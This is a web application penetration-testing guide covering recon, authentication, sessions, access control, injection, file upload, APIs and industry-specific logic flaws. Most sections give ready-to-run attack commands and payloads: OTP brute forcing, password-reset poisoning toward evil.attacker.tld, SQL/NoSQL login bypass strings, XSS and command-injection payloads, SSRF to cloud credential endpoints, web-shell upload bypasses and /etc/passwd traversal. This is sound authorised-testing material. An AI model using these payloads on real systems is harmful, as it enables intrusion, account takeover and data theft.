☰   How to use this guide

This is the companion to the raw web checklist — instead of a list of boxes to tick, every item here comes with how you actually test it: the scenario that makes it a bug, the exact command or proxy move, the step-by-step, the finding title to drop straight into your report, and the fix to recommend. Work top to bottom on every engagement; the universal sections (0–11) run on any web target, the category-specific sections at the end (SaaS, banking, e-commerce, healthcare, admin) add focus for that app type.

Set up your working set first

# Point everything through Burp so you keep a full request history
export HTTPS_PROXY=http://127.0.0.1:8080
TARGET=https://target.tld

# Common wordlists on Kali (seclists)
WL=/usr/share/seclists
# A clean URL/param corpus you can reuse all engagement long:
gau $TARGET | tee all-urls.txt | qsreplace -a > params.txt

0   Recon & information gathering

Recon decides how much attack surface you even get to see. The goal is to find every host, path, parameter and leaked secret before you start poking the main app — forgotten subdomains and exposed files are where the easy criticals live.

Subdomain enumeration & takeover

Forgotten dev/staging subdomains run old, unpatched code; a subdomain whose DNS still points at a de-provisioned cloud resource can be claimed by you (takeover).

1. Enumerate passively + actively, then resolve and probe what is live.
2. Feed the live set into a takeover scanner that checks for dangling CNAMEs (S3, Azure, GitHub Pages, Heroku fingerprints).
3. For any “NoSuchBucket” / “There isn't a GitHub Pages site here” fingerprint, register/claim the backing resource to prove takeover.

subfinder -d target.tld -all -silent | tee subs.txt
amass enum -passive -d target.tld | anew subs.txt
cat subs.txt | httpx -silent -title -tech-detect -status-code -o live.txt

# Dangling-DNS / subdomain takeover
subzy run --targets subs.txt
nuclei -l subs.txt -t http/takeovers/ -severity high,critical

Archived endpoints, JS secrets & exposed files

Old paths and parameters live forever in the Wayback Machine; front-end JS bundles routinely ship hardcoded API keys and internal endpoints; and VCS/backup files dropped in the web root hand over source and credentials.

# Archived URLs + parameters (great seed for the rest of the test)
gau target.tld | anew all-urls.txt
katana -u https://target.tld -jc -kf all -silent | anew all-urls.txt

# Secrets & endpoints inside JavaScript bundles
cat all-urls.txt | grep '\.js$' | nuclei -t http/exposures/ -silent
# (or) trufflehog filesystem ./js-dump  /  gitleaks detect for cloned repos

# Exposed VCS / config / backup files
nuclei -u https://target.tld -t http/exposures/configs/ -t http/exposures/backups/
ffuf -u https://target.tld/FUZZ -w "$WL/Discovery/Web-Content/raft-medium-files.txt" \
     -e .bak,.old,.zip,.tar.gz,.swp,~ -mc 200 -c
# If /.git/ is browsable → reconstruct the source:
git-dumper https://target.tld/.git/ ./loot-git

Tech fingerprint, WAF origin & debug exposure

whatweb https://target.tld ; nuclei -u https://target.tld -t http/technologies/
# Find the real origin behind a WAF/CDN (bypass the WAF entirely)
#  - historical DNS / Shodan: ssl.cert.subject.cn:"target.tld" 200 page hash
#  - try connecting to the discovered origin IP with the right Host header:
curl -sk -H "Host: target.tld" https://ORIGIN_IP/ -o /dev/null -w "%{http_code}\n"

Recon — full coverage

1   Authentication

The login, registration, OTP and password-reset flows are the front door. The wins here are username enumeration (recon for the next attack), missing rate limits, and broken reset/OTP/2FA logic. The full mechanics live in the Authentication Bypass deep-dive — here is how to test each item.

Username enumeration (the four oracles)

1. Submit a known-bad username + bad password, then a likely-valid username + bad password.
2. Diff the response: message text (“user not found” vs “wrong password”), HTTP status, body length, and response time (valid users hit the slow bcrypt path).
3. Repeat on register (“already exists”) and forgot-password (“email sent” vs “no such user”).
4. Confirm at scale with ffuf, sorting by the field that differs.

# Message/length oracle on login
ffuf -w "$WL/Usernames/top-usernames-shortlist.txt" -u https://target.tld/login \
     -X POST -d 'username=FUZZ&password=Wrong123!' \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -mr 'incorrect password' -c          # match the "valid user" message

# Timing oracle: look for a consistent latency gap on valid users
ffuf ... -o timing.json -of json   # then compare "duration" per request

Rate-limit, OTP & reset-token testing

1. Capture the login/OTP/reset request in Burp and replay it 50–100× with Intruder/Turbo Intruder — if none are blocked, there is no rate limit.
2. For OTP: brute the full code space against the pending session; check the code is invalidated after use and that user A's code is rejected for user B.
3. For reset: request two tokens and diff them (sequential/timestamped = predictable); reuse a token after use; try it days later (expiry); change the Host header (poisoning).

# OTP brute (6-digit) against a half-auth session
seq -w 0 999999 > otps.txt
ffuf -u https://target.tld/2fa -X POST -d 'otp=FUZZ' \
     -H 'Cookie: session=<half-auth>' -w otps.txt -fr 'Invalid code' -c

# Reset poisoning — make the email link point at you
printf 'POST /forgot-password HTTP/1.1\r\nHost: evil.attacker.tld\r\n...\r\n\r\[email protected]'
# (send via Repeater; also try X-Forwarded-Host: evil.attacker.tld)

Auth-bypass quick wins

# SQLi login bypass — username field
admin'--          ' OR '1'='1'-- -          ' OR 1=1 LIMIT 1-- -
sqlmap -r login.req -p username --batch --level 3 --risk 2

# 2FA skip: log in (factor 1), then request a post-login page directly
GET /account  Cookie: session=<half-auth>      # renders? → 2FA not enforced server-side

# Response/status tampering (client-side auth): intercept the response in Burp
{"success":false} → {"success":true} ;  401 → 200 OK

Authentication — full coverage

2   Session management

Once authenticated, the session token is the user. Test how it is issued, stored, transported and destroyed. Deep mechanics: the Session Attacks catalogue.

Lifecycle & cookie flags

1. Record the session cookie pre-login, then post-login — if it does not change, the app is vulnerable to session fixation.
2. Log out, then replay an old request with the pre-logout cookie — if it still works, logout is client-side only.
3. Change the password in one browser, replay an old session in another — it should be killed.
4. Inspect Set-Cookie for HttpOnly, Secure, SameSite; check whether the token sits in localStorage (XSS-exfiltratable).

# Inspect cookie attributes quickly
curl -sI https://target.tld/login -c - | grep -i set-cookie
# Look for: HttpOnly; Secure; SameSite=Lax/Strict  (missing any = finding)

# JWT session checks
jwt_tool <JWT> -T                 # tamper claims
jwt_tool <JWT> -X a               # alg:none
jwt_tool <JWT> -C -d rockyou.txt  # crack weak HS256 secret

Session management — full coverage

3   Authorization / access control

Access control is the single most common source of high/critical findings. The method: act as a low-privileged user (or no user) and try to reach another user's data or an admin function. Companion: Authorization Bypass.

IDOR / BOLA — the two-account method

1. Create two accounts, A and B. Log in as A and capture a request that references an object you own (/api/orders/1001, ?id=1001).
2. Swap the identifier to B's object (or just decrement/increment it) while keeping A's session.
3. If you get B's data back → horizontal IDOR/BOLA. Repeat for update and delete, not just read.
4. Automate the sweep with Burp's Autorize/AuthMatrix or a scripted range.

# Range-sweep an object ID with A's cookie, flag responses that aren't 403/404
ffuf -u 'https://target.tld/api/orders/FUZZ' -H 'Cookie: session=<userA>' \
     -w <(seq 1000 1100) -mc 200 -ac -c

# Burp Autorize: log in as low-priv, replay every high-priv request, diff responses

Privilege escalation & mass assignment

# Mass assignment — inject privileged fields the UI never sends
POST /api/users  {"name":"x","email":"[email protected]","role":"admin","isAdmin":true}

# Vertical escalation — replay an admin-only request with a normal user's token
GET /admin/users  Cookie: session=<normalUser>        # 200? → broken function-level authz

# Parameter-based role trusted by server
GET /dashboard?admin=true          POST /api/me {"role":"admin"}

Authorization — full coverage

4   Input validation & injection

Every place user input reaches an interpreter (SQL, HTML/JS, the OS shell, a template engine, an XML/LDAP/XPath parser, the HTTP layer) is an injection candidate. Fuzz systematically: collect parameters, then test each input class with a known payload set and watch for reflection, errors, or out-of-band callbacks.

XSS (reflected / stored / DOM)

1. Find reflections: send a unique marker in every parameter and grep responses for it.
2. Where it reflects, test context-appropriate payloads (HTML body, attribute, JS string, URL).
3. Automate discovery + confirmation with kxss (finds unfiltered chars) then dalfox.
4. For DOM XSS, trace sources (location.hash, postMessage) to sinks (innerHTML, eval) in DevTools.

cat all-urls.txt | grep '=' | qsreplace '"><svg onload=confirm(1)>' \
  | while read u; do curl -sk "$u" | grep -q 'svg onload=confirm(1)' && echo "REFLECTED: $u"; done

cat params.txt | kxss                      # which params reflect which chars unfiltered
dalfox file params.txt --silence           # automated XSS confirmation

SQL / NoSQL injection

# Quick manual probes (watch for errors / boolean / time differences)
'  "  ')  ' OR '1'='1   1) AND SLEEP(5)-- -
# Full automation:
sqlmap -r request.req -p id --batch --level 3 --risk 2 --dbs
# NoSQL (MongoDB-style) — operator injection in JSON/login
{"username":{"$ne":null},"password":{"$ne":null}}        # auth bypass
username[$ne]=x&password[$ne]=x                            # form-encoded variant

Command injection & SSTI

# OS command injection — chain separators + an OOB/time signal
; id    | id    `id`    $(id)    & ping -c1 OOB.oast.fun
commix -u 'https://target.tld/ping?host=127.0.0.1' --batch

# SSTI — send the polyglot, look for evaluated math
${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}      # 49 in output → template injection
# then identify the engine and escalate to RCE (Jinja2/Twig/Freemarker gadgets)

SSRF

1. Find any parameter that fetches a URL (webhooks, image-from-URL, PDF render, import).
2. Point it at a Burp Collaborator / interactsh host — an inbound hit confirms SSRF.
3. Escalate to cloud metadata (169.254.169.254) and internal services; for blind SSRF rely on the OOB callback.

interactsh-client            # get an OOB domain, then:
POST /import {"url":"http://<oob>.oast.fun/"}            # callback = SSRF
# Escalate:
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://127.0.0.1:6379/    (internal Redis, etc.)

Injection & input validation — full coverage

5   Business logic

Logic flaws are app-specific and scanners miss them — they need you to understand the intended workflow and then break its assumptions: order of steps, value ranges, replay, and concurrency. This is where the highest-impact, hardest-to-find bugs live.

Race conditions (TOCTOU)

1. Find a one-time or limited action (redeem coupon, withdraw, vote, claim).
2. Capture the request and fire many copies simultaneously (single-packet attack) before the state updates.
3. Check whether the action applied more than once (double spend, multi-redeem).

# Burp Repeater → add request to a group → "Send group in parallel" (single-packet)
# or Turbo Intruder race template:
#   engine = RequestEngine(endpoint, concurrentConnections=30, pipeline=False)
#   for i in range(30): engine.queue(template)   # all fire together

Business logic — full coverage

6   File handling

Uploads and downloads bridge user input and the filesystem. Test what you can upload (and whether it executes), and whether download/extraction paths can be traversed.

Malicious upload → RCE

1. Upload a benign file, note where it lands (URL/path) and whether it is web-accessible.
2. Try a server-side script (e.g. shell.php); if blocked, test extension/content-type bypasses.
3. If the file lands in the web root and executes → web shell / RCE.

# Extension / content-type / magic-byte bypasses to try:
shell.php  shell.php.jpg  shell.pHp  shell.php%00.jpg  shell.phtml
# + force Content-Type: image/png and prepend GIF89a; magic bytes
# Then browse to the stored path to trigger:
curl 'https://target.tld/uploads/shell.php?cmd=id'

Path traversal

# Download / read traversal
?file=../../../../etc/passwd        ?file=..%2f..%2f..%2fetc%2fpasswd
GET /download?path=....//....//etc/passwd
ffuf -u 'https://target.tld/download?file=FUZZ' -w "$WL/Fuzzing/LFI/LFI-Jhaddix.txt" -mr 'root:'

File handling — full coverage

7   API / web services

APIs concentrate the OWASP API Top 10: object- and function-level authz (BOLA/BFLA), excessive data exposure, and missing limits. Test the API directly, not through the UI — the UI's restrictions usually aren't on the backend. Companion: API Security.

Excessive data exposure & BOLA/BFLA

1. Compare what the UI shows vs the full JSON the API returns — APIs often leak extra fields (PII, internal flags, other users' data).
2. Replay object requests with another user's ID (BOLA) and admin endpoints as a normal user (BFLA).
3. Probe GraphQL: enable introspection, then look for unguarded queries and rate-limit bypass via batching.

# GraphQL introspection + map the schema
curl -s https://target.tld/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}' | jq .
# CORS misconfig — reflected origin with credentials
curl -s -I https://target.tld/api/me -H 'Origin: https://evil.tld' | grep -i access-control

API / web services — full coverage

8   Client-side

Bugs that execute in the victim's browser: CSRF, clickjacking, tabnabbing, postMessage and prototype-pollution issues, plus supply-chain and caching weaknesses.

CSRF & clickjacking

# CSRF — does a state-changing request work without a token / cross-site?
# Build a test form that auto-submits to the target action; if it succeeds → CSRF.
# Also try: remove the CSRF token, reuse another user's token, swap GET/POST.

# Clickjacking — is framing allowed?
curl -sI https://target.tld/ | grep -iE 'x-frame-options|content-security-policy'
# (missing X-Frame-Options AND no frame-ancestors → frameable)

Client-side — full coverage

9   Server / infra misconfiguration

Misconfigurations are fast, high-signal wins: missing headers, exposed consoles, dangerous methods, and known-CVE software. nuclei + a header check covers most of it.

nuclei -u https://target.tld -t http/misconfiguration/ -t http/exposed-panels/ -t http/cves/
# Security headers
curl -sI https://target.tld | grep -iE 'content-security-policy|strict-transport|x-content-type|x-frame'
# Dangerous methods
curl -s -X OPTIONS https://target.tld -i | grep -i allow      # TRACE/PUT/DELETE?
nmap --script http-methods -p 443 target.tld

Server / infra misconfiguration — full coverage

10   Cryptography & transport

Confirm data is encrypted in transit with modern TLS, that secrets aren't weakly hashed or hardcoded, and that tokens use real randomness.

testssl.sh https://target.tld          # TLS version, ciphers, cert, HSTS in one shot
# or:
nmap --script ssl-enum-ciphers -p 443 target.tld
sslscan target.tld
# Check HTTP→HTTPS redirect + HSTS
curl -sI http://target.tld | grep -i location
curl -sI https://target.tld | grep -i strict-transport-security

Cryptography & transport — full coverage

11   Information disclosure

Pull together everything the app leaks — over-shared PII in APIs, internal paths/IPs, source comments, and metadata in uploaded files. Individually minor, collectively a roadmap for an attacker.

# Metadata in uploaded/served files
exiftool downloaded-image.jpg          # GPS, software, internal author/paths
# Grep responses for internal leaks
grep -niE '10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.|\.internal|DEBUG|stacktrace' responses/*

Information disclosure — full coverage

A   SaaS / multi-tenant apps

On top of the universal checks, multi-tenant apps must keep tenants completely isolated and get RBAC, SSO/OAuth and billing exactly right. The killer bug class is cross-tenant access.

Cross-tenant isolation

1. Create two tenants (Org A, Org B), each with their own user.
2. As Org A, capture every request carrying a tenant/org/object identifier.
3. Swap to Org B's identifiers (in the path, body, header, or JWT claim) while keeping Org A's session.
4. Any Org B data returned = a tenant-isolation break (usually critical).

SaaS / multi-tenant — full coverage

B   Banking / fintech

Money makes integrity, race conditions and OTP/IDOR the priorities. Every amount, account and status must be validated and signed server-side; concurrency must be safe.

Transaction integrity & race conditions

# Amount / account / status tampering in the transfer request
{"from":"MY_ACCT","to":"VICTIM_ACCT","amount":1000}     # change 'to', sign?
amount=-1000   amount=0.001   currency=INR→USD            # negative / rounding / fx
{"status":"FAILED"} → {"status":"SUCCESS"}               # forge gateway status

# Double-spend race: fire N parallel withdrawals (single-packet) before balance updates

Banking / fintech — full coverage

C   E-commerce

Carts, coupons, payment callbacks and refunds are the logic battlefield. The recurring theme: anything recalculated or trusted client-side can be tampered for free goods or money back.

# Price / quantity / total tampering at checkout
{"item":123,"price":0.01,"qty":1}    qty=-1    {"total":0}
# Payment bypass: confirm order without a real gateway success, or forge the callback
POST /payment/callback  {"order":555,"status":"PAID","signature":"???"}   # unsigned?
# Coupon abuse: reuse single-use, stack multiple, brute valid codes
ffuf -u https://target.tld/api/coupon/FUZZ -w codes.txt -mr '"valid":true'

E-commerce — full coverage

D   Healthcare / health portals

Health portals are dominated by PHI confidentiality. IDOR on medical records is the headline risk, alongside unauthenticated report links and over-exposed PII.

Healthcare / health portals — full coverage

E   Admin / CMS / internal portals

Admin and CMS panels combine exposure, weak auth, privilege escalation, blind XSS (fires in the admin's browser) and RCE via plugin/theme upload.

Admin / CMS / internal portals — full coverage

✓   Coverage map & how to run it

Run the universal sections (0–11) on every web target, then add the category block that matches the app. Universal recon and access-control checks find the most; the category sections find the highest-impact, app-specific money/data bugs.

Two habits make this checklist pay off. First, do recon properly — most criticals come from forgotten hosts and exposed files, not the main app. Second, for access control and logic, always test with two accounts and by calling the backend directly; the UI's restrictions almost never reflect the server's. Tick a box only when you've actually run the test and recorded the result — the finding names here are written so you can paste them straight into the report.